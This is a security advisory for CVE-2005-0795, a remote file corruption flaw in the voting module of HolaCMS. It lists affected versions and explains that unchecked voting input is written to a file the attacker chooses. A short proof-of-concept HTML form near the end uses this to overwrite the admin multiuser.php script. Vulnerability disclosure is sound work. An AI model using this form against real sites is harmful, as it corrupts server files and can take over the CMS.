BID:12789

HolaCMS Voting Module Remote File Corruption Vulnerability

Info

HolaCMS Voting Module Remote File Corruption Vulnerability

Bugtraq ID:	12789
Class:	Input Validation Error
CVE:	CVE-2005-0795
Remote:	Yes
Local:	No
Published:	Mar 12 2005 12:00AM
Updated:	Jul 12 2009 10:56AM
Credit:	Discovery is credited to Virginity Security.
Vulnerable:	Hola HolaCMS 1.4.9 Hola HolaCMS 1.4.8 Hola HolaCMS 1.4.7 Hola HolaCMS 1.4.6 Hola HolaCMS 1.4.5 Hola HolaCMS 1.4.4 Hola HolaCMS 1.4.3 Hola HolaCMS 1.4.2 a Hola HolaCMS 1.4.2 Hola HolaCMS 1.4.1 Hola HolaCMS 1.4 Hola HolaCMS 1.2.10 Hola HolaCMS 1.2.9

Not Vulnerable:	Hola HolaCMS 1.4.9 -1

Discussion

HolaCMS Voting Module Remote File Corruption Vulnerability

HolaCMS is prone to a vulnerability that may allow remote users to corrupt files on the server. This is due an input validation error that allows users to submit voting data to an attacker-specified file.

It has been demonstrated that the issue may be exploited to compromise HolaCMS. Arbitrary system files may also be corrupted in the context of the Web server process. Though unconfirmed, it may be possible to execute arbitrary code by corrupting scripts on the computer.

Exploit / POC

HolaCMS Voting Module Remote File Corruption Vulnerability

The following example was provided using a form to submit a custom HTTP POST to the site:

<form action="http://www.example.com/[site-with-vote].php?vote=1" method="POST">
<input type="hidden" name="vote_filename" value="admin/multiuser/multiuser.php">
<input type="hidden" name="result" value="0">
<input type="submit" value="Stimme abgeben" name="button">
</form>